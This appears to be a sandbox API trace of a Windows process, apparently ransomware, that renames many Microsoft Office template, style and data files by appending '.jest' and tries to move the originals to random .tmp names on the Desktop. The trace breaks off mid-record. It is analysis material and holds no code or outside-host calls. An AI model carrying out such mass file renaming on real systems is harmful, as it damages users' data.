[0172.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt.jest")) returned 1 [0172.999] VarBstrFromR4 (in: fltIn=0x47945b47, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.55") returned 0x0 [0173.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr9.xlt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JDNhZqiAa296uy1 RJquefMQXr6-Hg6Tgkku5LLfkjHnhU-Dom6HZEPc _l7YwwqJiGYI8Ubr5hQlMEd8xCk9JkhiIgrbMCZ_HG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jdnhzqiaa296uy1 rjquefmqxr6-hg6tgkku5llfkjhnhu-dom6hzepc _l7ywwqjigyi8ubr5hqlmed8xck9jkhiigrbmcz_hg.tmp")) returned 0 [0173.000] GetLastError () returned 0x2 [0173.003] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.jest")) returned 1 [0173.007] VarBstrFromR4 (in: fltIn=0x47945b47, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.55") returned 0x0 [0173.008] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IGRNPR7uTMk-tsYmULOREt58T9luxeDdshOlTYadJZYPhs1ZIAlJKhBb4xggv6QJgqcz6OCUBJxyvthDibe1jQOt3o1yuzvxBxy6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\igrnpr7utmk-tsymuloret58t9luxeddsholtyadjzyphs1zialjkhbb4xggv6qjgqcz6ocubjxyvthdibe1jqot3o1yuzvxbxy6.tmp")) returned 0 [0173.008] GetLastError () returned 0x2 [0173.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx.jest")) returned 1 [0173.012] VarBstrFromR4 (in: fltIn=0x47945b47, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.55") returned 0x0 [0173.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_lbg8uKmvTUo3-V6-6bGHQ_uQkEmlfNdDF07iuGp7nTTit_qK9KkSdc5BPO_8KyDQp4i-L6jBhUKyU6FJa-XeyFTgQLY6r7VQuM2h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_lbg8ukmvtuo3-v6-6bghq_uqkemlfnddf07iugp7nttit_qk9kksdc5bpo_8kydqp4i-l6jbhukyu6fja-xeyftgqly6r7vqum2h.tmp")) returned 0 [0173.013] GetLastError () returned 0x2 [0173.015] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.jest")) returned 1 [0173.018] VarBstrFromR4 (in: fltIn=0x47945b49, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.57") returned 0x0 [0173.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nfAi8m9-OPao0tBpxMhl-u7bCz 3mgcJAZbKeypKwngP3JSZlbS-Wmy78uXuB3XQAt3gX w9B16dy6ARPV5fTOa4 t309Tu06llZQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nfai8m9-opao0tbpxmhl-u7bcz 3mgcjazbkeypkwngp3jszlbs-wmy78uxub3xqat3gx w9b16dy6arpv5ftoa4 t309tu06llzq.tmp")) returned 0 [0173.019] GetLastError () returned 0x2 [0173.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx.jest")) returned 1 [0173.022] VarBstrFromR4 (in: fltIn=0x47945b49, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.57") returned 0x0 [0173.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5tDOkxcKkvYkeaVVSxRL4EToHb-T5EGsVTTww9LMJ-KwoDrJq8zOGBF1mqXAwX1vnJBbx WY7h191v_B0fZwpo_Hga6_LL4_frJUs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5tdokxckkvykeavvsxrl4etohb-t5egsvttww9lmj-kwodrjq8zogbf1mqxawx1vnjbbx wy7h191v_b0fzwpo_hga6_ll4_frjus.tmp")) returned 0 [0173.023] GetLastError () returned 0x2 [0173.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css.jest")) returned 1 [0173.045] VarBstrFromR4 (in: fltIn=0x47945b4d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.6") returned 0x0 [0173.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wnB3xmr ZZxrdKEyWsF1oEyt6jYxD84v_RBLPaoo54fJi5o33n4lhxZROFCeiXjf-wEsm85i278wMVTVQLMrr2F8sEbw2fvVHqN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wnb3xmr zzxrdkeywsf1oeyt6jyxd84v_rblpaoo54fji5o33n4lhxzrofceixjf-wesm85i278wmvtvqlmrr2f8sebw2fvvhqn.tmp")) returned 0 [0173.047] GetLastError () returned 0x2 [0173.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.jest")) returned 1 [0173.053] VarBstrFromR4 (in: fltIn=0x47945b4d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.6") returned 0x0 [0173.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-zXB3kmlKHm-cg7XoLfkdwZpBvh6bFmFkNdxfTqt5O-VJrVEGZCE4-nLO4dkOab weILj4vKJZ7RkOednlsfJu_33KTuv RZ62W.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-zxb3kmlkhm-cg7xolfkdwzpbvh6bfmfkndxftqt5o-vjrvegzce4-nlo4dkoab weilj4vkjz7rkoednlsfju_33ktuv rz62w.tmp")) returned 0 [0173.054] GetLastError () returned 0x2 [0173.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css.jest")) returned 1 [0173.079] VarBstrFromR4 (in: fltIn=0x47945b51, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.63") returned 0x0 [0173.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pdFXERsjsRdwNKS5UGpJLOEtrFT4KA qU5xLxkUZVHy2Ld lRwMbjn8CrlU-k2hJ92U3WQB3GPBYelbqhMwfjdq AKgUZ2nd-9HX5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pdfxersjsrdwnks5ugpjloetrft4ka qu5xlxkuzvhy2ld lrwmbjn8crlu-k2hj92u3wqb3gpbyelbqhmwfjdq akguz2nd-9hx5.tmp")) returned 0 [0173.081] GetLastError () returned 0x2 [0173.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css.jest")) returned 1 [0173.114] VarBstrFromR4 (in: fltIn=0x47945b55, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.66") returned 0x0 [0173.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YVo275WDEuXNnra8kIPgod8p25lK2xIXgyi5uafmBmD2PV6LdJlAV77k4RSEPgv9V2UJmDBg4gzSwbAY44bg8znCK5XeS1 86As5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvo275wdeuxnnra8kipgod8p25lk2xixgyi5uafmbmd2pv6ldjlav77k4rsepgv9v2ujmdbg4gzswbay44bg8znck5xes1 86as5.tmp")) returned 0 [0173.116] GetLastError () returned 0x2 [0173.118] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css.jest")) returned 1 [0173.121] VarBstrFromR4 (in: fltIn=0x47945b55, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.66") returned 0x0 [0173.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bzx7ZsDEP17BR5DKCaiQLdjwz46-5H45pfCo8qxCQseHhMrTELWMyC2KsPRILoQeegT2PiDcG1V_ xVFiu Gy_PWx7lbUDYEm-xF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bzx7zsdep17br5dkcaiqldjwz46-5h45pfco8qxcqsehhmrtelwmyc2kspriloqeegt2pidcg1v_ xvfiu gy_pwx7lbudyem-xf.tmp")) returned 0 [0173.122] GetLastError () returned 0x2 [0173.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css.jest")) returned 1 [0173.130] VarBstrFromR4 (in: fltIn=0x47945b57, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.68") returned 0x0 [0173.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vScsemlE2O_WbVZ8JXL 94SdZcotEW8880HHmOdt_WotE1bf5AWfb3bazq3wW3vhRTuhkkAoRZub2PNZtJsiUzCWjRypILK3qq .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vscsemle2o_wbvz8jxl 94sdzcotew8880hhmodt_wote1bf5awfb3bazq3ww3vhrtuhkkaorzub2pnztjsiuzcwjrypilk3qq .tmp")) returned 0 [0173.131] GetLastError () returned 0x2 [0173.136] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css.jest")) returned 1 [0173.140] VarBstrFromR4 (in: fltIn=0x47945b59, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.7") returned 0x0 [0173.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Riw1n5tjCBdquYWDOIPcYHRQfL6qVeULEMUcL160IK3tzgq9rZUVveyhg53XBcg7OOSe7_K2J79ts5MyOr0-saMPSkTGDmwwRo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\riw1n5tjcbdquywdoipcyhrqfl6qveulemucl160ik3tzgq9rzuvveyhg53xbcg7oose7_k2j79ts5myor0-sampsktgdmwwro.tmp")) returned 0 [0173.141] GetLastError () returned 0x2 [0173.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.jest")) returned 1 [0173.145] VarBstrFromR4 (in: fltIn=0x47945b59, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.7") returned 0x0 [0173.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ip2v__d_T8e8-IM8pInSgvnMUAHMnbbfPFUqTEMJ8YQK9vVQdpCBO4fVMa2OWW_GogfSgTLR679djAQNYDLy99gnvAahQlqynOqUZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ip2v__d_t8e8-im8pinsgvnmuahmnbbfpfuqtemj8yqk9vvqdpcbo4fvma2oww_gogfsgtlr679djaqnydly99gnvaahqlqynoquz.tmp")) returned 0 [0173.147] GetLastError () returned 0x2 [0173.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.jest")) returned 1 [0173.154] VarBstrFromR4 (in: fltIn=0x47945b5b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.71") returned 0x0 [0173.155] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EYX-509UKxmj7I2z7wuSFlqUKi6OeMxeLCzShtT5ggKg0eL9JhwyhE6f83P6Rmmk--tyh3hzO3KTZ4H4gxd3RbFg99 eTnTGgQs7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyx-509ukxmj7i2z7wusflquki6oemxelczshtt5ggkg0el9jhwyhe6f83p6rmmk--tyh3hzo3ktz4h4gxd3rbfg99 etntggqs7.tmp")) returned 0 [0173.155] GetLastError () returned 0x2 [0173.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt.jest")) returned 1 [0173.167] VarBstrFromR4 (in: fltIn=0x47945b5b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.71") returned 0x0 [0173.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U9nSdwkqPbB6 -4omdWmV-4lnWf_z8dch6P3I oK77rihEzWyP8bP7T-t8GVMYlUcgDl_2jt5HITtD2flDP8gmZfdqyP2lzEnpTEW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u9nsdwkqpbb6 -4omdwmv-4lnwf_z8dch6p3i ok77rihezwyp8bp7t-t8gvmylucgdl_2jt5hittd2fldp8gmzfdqyp2lzenptew.tmp")) returned 0 [0173.169] GetLastError () returned 0x2 [0173.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls.jest")) returned 1 [0173.171] VarBstrFromR4 (in: fltIn=0x47945b5d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.73") returned 0x0 [0173.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X6--Iics1erxBZPNpoqUUc0qY5HTmmvnFV7bl-7xmlY-7pdFrmZisDt2Ur3u55s12KtokYk4j9It1xo9kVLxxx0ihR6qIue3_y0J .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x6--iics1erxbzpnpoquuc0qy5htmmvnfv7bl-7xmly-7pdfrmzisdt2ur3u55s12ktokyk4j9it1xo9kvlxxx0ihr6qiue3_y0j .tmp")) returned 0 [0173.172] GetLastError () returned 0x2 [0173.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.jest")) returned 1 [0173.176] VarBstrFromR4 (in: fltIn=0x47945b5d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.73") returned 0x0 [0173.177] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GGfQ4iL57CucKba9PQ4a__kKj2hktQFZRY9pfb0sRMegGuvIl-ZnvRkCwyZDu5STq_r7M ThJ66_f-E0BDQVu_BnAvRGDTKQM1VS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ggfq4il57cuckba9pq4a__kkj2hktqfzry9pfb0srmegguvil-znvrkcwyzdu5stq_r7m thj66_f-e0bdqvu_bnavrgdtkqm1vs.tmp")) returned 0 [0173.177] GetLastError () returned 0x2 [0173.178] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css.jest")) returned 1 [0173.182] VarBstrFromR4 (in: fltIn=0x47945b5d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.73") returned 0x0 [0173.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASSPORT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\passport.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dq2Y2AVAiTiiiOnOfqaw9DhIjC7XgA6bu5jfxfv5ubZ0pDvAosjepG_dnO6KJQPqCxS0Fixy6dUYr2 kY7HAqemx hVbh22JGSVu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dq2y2avaitiiionofqaw9dhijc7xga6bu5jfxfv5ubz0pdvaosjepg_dno6kjqpqcxs0fixy6duyr2 ky7haqemx hvbh22jgsvu.tmp")) returned 0 [0173.183] GetLastError () returned 0x2 [0173.184] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css.jest")) returned 1 [0173.187] VarBstrFromR4 (in: fltIn=0x47945b5f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.74") returned 0x0 [0173.188] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pastel.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qgR3QsOp6-MmswLWkAidhR5 jut3BxQTVQD-U8ZBFF9VRWsiM9CRRZj5pDLQImIUZiEsTisN4IwFc8B1caALkokaE_8GuC0txIul.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qgr3qsop6-mmswlwkaidhr5 jut3bxqtvqd-u8zbff9vrwsim9crrzj5pdlqimiuziestisn4iwfc8b1caalkokae_8guc0txiul.tmp")) returned 0 [0173.188] GetLastError () returned 0x2 [0173.194] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls.jest")) returned 1 [0173.199] VarBstrFromR4 (in: fltIn=0x47945b5f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.74") returned 0x0 [0173.200] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7UsQzEohWx6JlPtIRZNZP5I-SBA_W8m2ShY69ELn-TOydm2SQitYEB5uUG__wn2IqNj7VacJPBITcNIJjL8oBrVmXU0q oi6B18Po.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7usqzeohwx6jlptirznzp5i-sba_w8m2shy69eln-toydm2sqityeb5uug__wn2iqnj7vacjpbitcnijjl8obrvmxu0q oi6b18po.tmp")) returned 0 [0173.200] GetLastError () returned 0x2 [0173.201] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css.jest")) returned 1 [0173.203] VarBstrFromR4 (in: fltIn=0x47945b61, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.76") returned 0x0 [0173.204] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KDVMF46KkZ72YbjfBTL4OWPdk2_S9wz174t8jjQnRLfUkppqH_bBVQBZY9N3F2rQ2hcKKgwgLwy0Bb22YGZ6BNAHep3Y4_Ipijwd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kdvmf46kkz72ybjfbtl4owpdk2_s9wz174t8jjqnrlfukppqh_bbvqbzy9n3f2rq2hckkgwglwy0bb22ygz6bnahep3y4_ipijwd.tmp")) returned 0 [0173.204] GetLastError () returned 0x2 [0173.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls.jest")) returned 1 [0173.211] VarBstrFromR4 (in: fltIn=0x47945b61, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.76") returned 0x0 [0173.212] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS" (normalized: "c:\\program 